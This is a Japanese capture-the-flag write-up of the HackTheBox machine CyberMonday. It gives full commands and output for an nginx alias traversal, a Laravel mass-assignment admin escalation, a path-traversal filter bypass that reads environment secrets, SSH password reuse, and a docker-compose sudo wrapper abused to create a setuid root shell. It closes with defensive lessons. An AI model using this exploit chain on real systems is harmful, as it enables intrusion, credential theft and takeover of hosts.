HackTheBox: CyberMonday — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80 (nginx)
→
22/80 (nginx)
off-by-slash
/assets../.env + /assets../.git/
→
/assets../.env + /assets../.git/
APP_KEY/DB漏洩
.env + git dump
→
.env + git dump
Mass Assignment
isAdmin=1 on /home/update
→
isAdmin=1 on /home/update
admin 化
/dashboard/changelog
→
/dashboard/changelog
webhooks API 登録
役割は user のままで良い
→
役割は user のままで良い
LogsController
Path Traversal (“.. /” bypass)
→
Path Traversal (“.. /” bypass)
DBPASS 漏洩
john SSHパスワード使い回し
→
john SSHパスワード使い回し
user.txt ✓
→
sudo secure_compose.py
cap_add:ALL+apparmor:unconfined無検査
→
cap_add:ALL+apparmor:unconfined無検査
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.229.35 nmap -Pn -sV -sC -p 22,80 10.129.229.35
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 80/tcp open http nginx 1.25.1 |_http-title: Did not follow redirect to http://cybermonday.htb
ℹ️
OpenSSH のバージョン文字列から Debian 11 (bullseye) と判断。
80番ポートが
cybermonday.htb へリダイレクトするため、/etc/hosts に追記する。
BASH
echo "10.129.229.35 cybermonday.htb" | sudo tee -a /etc/hosts
サイト概観 & ディレクトリ列挙
BASH
feroxbuster -u http://cybermonday.htb -x php curl -sI http://cybermonday.htb/
RESULT
Set-Cookie: XSRF-TOKEN=...; Max-Age=7200; path=/; samesite=lax Set-Cookie: cybermonday_session=...; Max-Age=7200; path=/; httponly; samesite=lax X-Powered-By: PHP/8.1.20 発見ディレクトリ: /assets, /products, /login, /signup ...
ℹ️
Cookie の形式から Laravel アプリケーションと判断。
/products・/login・/signup を持つ
オンラインストア風サイト。/assets ディレクトリが存在することを確認。
PHASE 2
nginx off-by-slash 誤設定 → .env / .git ソース漏洩
off-by-slash の検証
NOTE
nginx の典型的な誤設定:
location /assets {
alias /var/www/html/public/assets/;
}
"/assets" の末尾にスラッシュが無いと、"/assets../flag.txt" のようなリクエストが
"alias" のパス結合時にそのまま "/var/www/html/public/assets/../flag.txt" へ展開され、
親ディレクトリへ脱出できる(ディレクトリトラバーサル)。
BASH
curl -s -o /dev/null -w '%{http_code}\n' http://cybermonday.htb/assets../
RESULT
403 (404ではなく403 → リライトは効いており、脆弱性が存在する兆候)
.env 漏洩
BASH
curl -s http://cybermonday.htb/assets../.env
RESULT
APP_NAME=CyberMonday APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA= APP_DEBUG=true DB_CONNECTION=mysql DB_HOST=db DB_USERNAME=root DB_PASSWORD=root SESSION_DRIVER=redis REDIS_HOST=redis REDIS_PREFIX=laravel_session: CHANGELOG_PATH="/mnt/changelog.txt" REDIS_BLACKLIST=flushall,flushdb
✅
APP_KEY(Laravel セッションCookieのAES復号鍵)と、マイクロサービス構成
(db / redis コンテナ分離) のヒントを獲得。
REDIS_PREFIX から Laravel セッションが
Redis にキャッシュされていることも判明(本番チェーンではデシリアライズ攻撃の起点になるが、
本レポートの実経路では未使用)。
.git ソースダンプ(参考・任意)
BASH
git-dumper http://cybermonday.htb/assets../ ./cybermonday-src/ cd cybermonday-src && cat app/Http/Controllers/ProfileController.php
RESULT (抜粋)
public function update(Request $request)
{
$data = $request->except(["_token","password","password_confirmation"]);
$user = User::where("id", auth()->user()->id)->first();
...
$user->update($data); // ← Mass Assignment 脆弱性
}
🚨
プロフィール更新処理 (
POST /home/update) が、_token・password系以外の
全POSTフィールドをそのまま User モデルへ流し込んでいる。isAdmin カラムを
含めて送れば、未認可の権限昇格が可能になる。
PHASE 3
Mass Assignment で admin 昇格 → webhooks サブドメイン発見
一般ユーザー登録・ログイン
BASH
# CSRFトークンをフォームから取得しつつ Cookie jar で状態を維持 curl -sc cj.txt http://cybermonday.htb/signup | grep -oP 'name="_token" value="\K[^"]+' curl -sb cj.txt -c cj.txt http://cybermonday.htb/signup \ -d "_token=<TOKEN>&username=pt&email=pt@cybermonday.htb&password=P@ss1!&password_confirmation=P@ss1!" curl -sb cj.txt -c cj.txt http://cybermonday.htb/login \ -d "_token=<TOKEN2>&email=pt@cybermonday.htb&password=P@ss1!"
RESULT
302 → /home (ログイン成功、セッションCookie確立)
isAdmin=1 を Mass Assignment で注入
BASH
curl -sb cj.txt -c cj.txt http://cybermonday.htb/home/update \
-d "_token=<TOKEN3>&username=pt&email=pt@cybermonday.htb&isAdmin=1"
RESULT
302 → /home
以降 /home のナビゲーションバーに "Dashboard" リンクが追加される
✅
admin 昇格成功!
/dashboard・/dashboard/products・
/dashboard/changelog にアクセス可能になった。
Changelog から webhooks サブドメインを発見
BASH
curl -sb cj.txt http://cybermonday.htb/dashboard/changelog
RESULT (抜粋)
<li>Added <a href="http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77">Webhook</a> (beta) for create registration logs</li>
BASH
echo "10.129.229.35 webhooks-api-beta.cybermonday.htb" | sudo tee -a /etc/hosts
ℹ️
メインの Laravel ストアとは完全に分離した別 PHP アプリ(独自ルーター・JWT認証)が
稼働していることが判明。既存 webhook の UUID (
fda96d32-...) も同時に入手できた。
PHASE 4
Webhooks API 調査 — admin 権限は実は不要
API ルート一覧の取得
BASH
curl -s http://webhooks-api-beta.cybermonday.htb/ | jq .
RESULT (抜粋)
"/auth/register": {"method":"POST","params":["username","password"]},
"/auth/login": {"method":"POST","params":["username","password"]},
"/webhooks": {"method":"GET"},
"/webhooks/create": {"method":"POST","params":["name","description","action"]},
"/webhooks/:uuid": {"method":"POST","actions":{"sendRequest":{...},"createLogFile":{...}}}
一般ユーザー登録・ログインで JWT 取得
BASH
curl -s http://webhooks-api-beta.cybermonday.htb/auth/register \
-H "Content-Type: application/json" \
-d '{"username":"pt1234","password":"P@ssDbg1!"}'
curl -s http://webhooks-api-beta.cybermonday.htb/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"pt1234","password":"P@ssDbg1!"}'
RESULT
{"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..."}}
ℹ️
JWT をデコードすると
{"id":N,"username":"pt1234","role":"user"}。公開されている
ウォークスルー (0xdf) では、/jwks.json のRSA公開鍵を HMAC 共有鍵として再利用する
JWT Algorithm Confusion(RS256→HS256すり替え)で role=admin を偽造し、
新規 webhook を作成する経路を解説している。
admin 昇格は実際には不要だった(本インスタンスでの検証結果)
BASH
# role=user の通常トークンのまま、admin限定の /webhooks/create を叩くと拒否される
curl -s http://webhooks-api-beta.cybermonday.htb/webhooks/create \
-H "x-access-token: $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"pt","description":"pt","action":"createLogFile"}'
RESULT
{"status":"error","message":"Unauthorized"}
BASH
# しかし「既存」webhookの一覧取得・起動・ログ読み取りは role=user のままで普通に通る curl -s http://webhooks-api-beta.cybermonday.htb/webhooks -H "x-access-token: $TOKEN"
RESULT
{"status":"success","message":[
{"id":1,"uuid":"fda96d32-e8c8-4301-8fb3-c821a316cf77","name":"tests","description":"webhook for tests","action":"createLogFile"},
...
]}
🚨
重要発見: DB には
action=createLogFile の webhook が最初から1件
seed されている(GET /webhooks で admin でなくても一覧取得可能、かつ公開ウォークスルーに
記載の2023年当時の UUID と完全一致=環境は決定論的に再生成されている)。
JWT Algorithm Confusion による admin 昇格ステップを丸ごと省略し、
この既存 webhook をそのまま使い回すだけで次フェーズに進める。
(別途 Algorithm Confusion も PEM/DER/n生バイト/alg:none 等あらゆる変種で総当たり検証したが、
本インスタンスでは全て Unauthorized で拒否され通らなかった=依存ライブラリが更新され
塞がれている可能性が高い。コア脆弱性である off-by-slash と Mass Assignment は今も生きている。)
PHASE 5
LogsController Path Traversal → DBPASS漏洩 → user.txt
既存webhookを一度「起動」してログディレクトリを実在させる
NOTE
ログ書込関数 webhook_createLogFile() は呼ばれるまで
$log_path = "/logs/{webhook_name}/";
を mkdir しない。後続の traversal が "logs" ディレクトリを実際に
経由する必要があるため、先に一度ログを書かせてディレクトリを作らせておく。
BASH
UUID=fda96d32-e8c8-4301-8fb3-c821a316cf77
curl -s http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID \
-H "x-access-token: $TOKEN" -H "Content-Type: application/json" \
-d '{"log_name":"ptinit","log_content":"init"}'
RESULT
{"status":"success","message":"Log created"}
LogsController の検証ロジックと回避方法
NOTE
case "read":
$logName = $this->data->log_name;
if (preg_match("/\.\.\//", $logName)) { // (A) "../" を直接検査して拒否
return error("This log does not exist");
}
$logName = str_replace(' ', '', $logName); // (B) 空白除去 ← (A)より後
if (stripos($logName, "log") === false) { // (C) 文字列 "log" を含むこと要求
return error("This log does not exist");
}
...
file_get_contents($logPath . $logName);
バイパス: ".. /" (ドットの後に半角スペース) は (A) の正規表現に
一致しないため検査をすり抜け、(B) の空白除去で結果的に "../" に戻って
実際のパス解決には効く。(C) の "log" 文字列チェックは、一度 "logs"
ディレクトリへ実際に入ってまた出ることで素通りできる
(".. /.. /logs/.. /<target>" という自己言及的な経路)。
Path Traversal で /proc/self/environ を読み DBPASS 漏洩
BASH
curl -s http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID/logs \
-H "x-access-token: $TOKEN" \
-H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" \
-H "Content-Type: application/json" \
-d '{"action":"read","log_name":".. /.. /logs/.. /proc/self/environ"}'
RESULT
{"status":"success","message":"HOSTNAME=e1862f4e1242 ... DBPASS=ngFfX2L71Nu PHP_VERSION=8.2.7 ... DBHOST=db DBUSER=dbuser ..."}
⚠️
x-api-key ヘッダは
apiKeyAuth() にハードコードされた固定値
22892e36-1770-11ee-be56-0242ac120002(全インスタンス共通、ソース解析不要で既知)。
role=user のトークンと組み合わせるだけで通る。
SSHログイン → user.txt
NOTE
DBPASS は webhooks API コンテナのDB接続用パスワードだが、 開発者がこれを john ユーザーのホストSSHパスワードとしても 使い回している(開発環境でよくあるパスワード使い回しミス)。
BASH
sshpass -p 'ngFfX2L71Nu' ssh john@cybermonday.htb "id; cat ~/user.txt"
RESULT
uid=1000(john) gid=1000(john) groups=1000(john)
bb1ddf412c7a9f62033dac50df4dc6a9
user.txt — john@cybermonday
bb1ddf412c7a9f62033dac50df4dc6a9
PHASE 6
sudo secure_compose.py 悪用 (cap_add:ALL + apparmor:unconfined) → root.txt
sudo 権限の確認
BASH
john@cybermonday:~$ sudo -l
RESULT
User john may run the following commands on localhost:
(root) /opt/secure_compose.py *.yml
secure_compose.py の検証ロジック(抜粋)
NOTE
チェック内容:
- "privileged": true は禁止 (check_no_privileged)
- ボリュームは必ず ":ro" (read-only) で終わること (check_read_only)
- マウント元ホストパスは f"/home/{SUDO_USER}" または "/mnt" のみ許可 (check_whitelist)
- マウント元が symlink でないこと (check_no_symlinks)
抜け穴: cap_add と security_opt は一切検証されていない。
つまり cap_add: ["ALL"] も security_opt: ["apparmor:unconfined"] も
素通りする。
ホスト純正 bash を先に用意(GLIBC不一致の回避)
NOTE
webhooks API コンテナ(cybermonday_api イメージ)内の /bin/bash を そのままコピーして setuid すると、コンテナ側glibcがホスト(Debian 11) より新しく GLIBC_2.33/2.34/2.36 not found でバイナリが起動不能になる。 対策: john自身の通常権限で読める world-readable なホスト純正 /bin/bash を「コンテナを経由せず」先にプレーンSSHでコピーしておき、 コンテナ側は chown/chmod だけを行う(バイナリがホストのuserlandを 一度も離れないためglibc不一致が発生しない)。
BASH
john@cybermonday:~$ cp /bin/bash /home/john/.pwn
悪性 docker-compose.yml の作成・実行
YAML (/tmp/dc.yml)
version: "3"
services:
web:
image: cybermonday_api
command: >
bash -c "mount -o remount,rw /john; chown root:root /john/.pwn; chmod 6777 /john/.pwn; sleep 2"
volumes:
- /home/john:/john:ro
cap_add:
- ALL
security_opt:
- apparmor:unconfined
BASH
john@cybermonday:~$ sudo /opt/secure_compose.py /tmp/dc.yml
RESULT
Starting services... Finishing services
✅
AppArmor無効化 +
cap_add: ALL(CAP_SYS_ADMIN含む)により、コンテナ内からの
mount -o remount,rw /john がホストの bind mount に対して実際に効く。
ユーザーnamespace remap が構成されていないため、コンテナ内 root = ホスト root として
.pwn への chown/chmod がそのままホストファイルシステムへ反映される。
SetUID バイナリでroot化 → root.txt
BASH
john@cybermonday:~$ ls -l .pwn john@cybermonday:~$ ./.pwn -p -c 'id; cat /root/root.txt'
RESULT
-rwsrwsrwx 1 root root 1265648 .pwn uid=1000(john) gid=1000(john) euid=0(root) egid=0(root) groups=0(root),1000(john) 88ddb52d2e0891a539a111c2e60f64fe
root.txt — root@cybermonday
88ddb52d2e0891a539a111c2e60f64fe
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — john@cybermonday
bb1ddf412c7a9f62033dac50df4dc6a9
root.txt — root@cybermonday
88ddb52d2e0891a539a111c2e60f64fe
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| nginx off-by-slash | /assets alias (末尾スラッシュ欠落) | 任意ファイル読み取り (.env / .git) | High | /assets../.env・/assets../.git/ でAPP_KEY・DB設定・ソースコードを漏洩 |
| Mass Assignment | Laravel ProfileController::update() | 権限昇格(一般ユーザー→admin) | High | $request->except() のブラックリストに無い isAdmin フィールドを注入 |
| 認可漏れ (IDOR的欠陥) | Webhooks API: 既存webhookの起動・ログ参照 | admin専用機能への実質アクセス | Medium | 新規作成のみadmin限定、既存seedデータの利用・参照はrole=userで可能 |
| Path Traversal (チェック順序の不備) | LogsController::index() action=read | 任意ファイル読み取り(別コンテナ内) | Critical | 空白挿入で ../ 検出を回避し、後段の空白除去で実際のトラバーサルへ復元 |
| パスワード使い回し | DBPASS ⇔ john SSHパスワード | 水平展開 (コンテナ→ホスト) | Medium | /proc/self/environ 経由で漏洩したDB接続パスワードをSSHへ流用 |
| sudoラッパーの検証漏れ | /opt/secure_compose.py (cap_add / security_opt 未検証) | 権限昇格 (root) | Critical | cap_add:ALL + apparmor:unconfined で bind mount を remount,rw、SetUIDバイナリ設置 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + feroxbuster | 22/80、Laravel + /assets検出 |
| 2 | off-by-slash | /assets../.env・.gitダンプ | APP_KEY、DB設定、ソースコード |
| 3 | Mass Assignment | isAdmin=1 on /home/update | admin昇格、webhooksサブドメイン発見 |
| 4 | Webhooks API調査 | register/login、既存webhookの使い回し | admin昇格ステップを省略可能と判明 |
| 5 | Path Traversal | “.. /.. /logs/.. /proc/self/environ” | user.txt(DBPASS漏洩→SSH) |
| 6 | 権限昇格 | sudo secure_compose.py (cap_add:ALL悪用) | root.txt(SetUID bash) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
nginx location ブロックの末尾スラッシュ欠落 (off-by-slash) |
location /assets/ { alias .../assets/; } のように必ずスラッシュを揃える。
.env・.git はWebルート外へ配置するか明示的にdeny。 |
| 更新系エンドポイントで入力フィールドをホワイトリスト化せずモデルへ流し込んでいる | Laravel の $fillable/$guarded を明示指定し、$request->only([...])
のようなホワイトリスト方式で必要フィールドのみ許可する。 |
| 文字列検査の順序不備(サニタイズ前にブラックリスト検査、検査後にサニタイズ) | サニタイズ(正規化)を先に行い、その「後の」文字列に対して危険パターンを検査する。
可能な限りrealpath()等でパス正規化し許可ディレクトリ配下かを検証する。 |
| 異なるサービス間でのパスワード使い回し (DB password = SSH password) | サービスごとに独立したランダム認証情報を発行し、シークレット管理ツール(Vault等)で一元管理する。 |
sudoラッパースクリプトが一部のDocker設定項目のみ検証し cap_add/security_opt を見落としている |
許可リスト方式(ホワイトリスト化したキーのみ許す)に転換するか、そもそも一般ユーザーに
docker-compose 実行権限を与えない。どうしても必要なら rootless Docker + 厳格な
seccomp/AppArmor プロファイル強制を検討する。 |

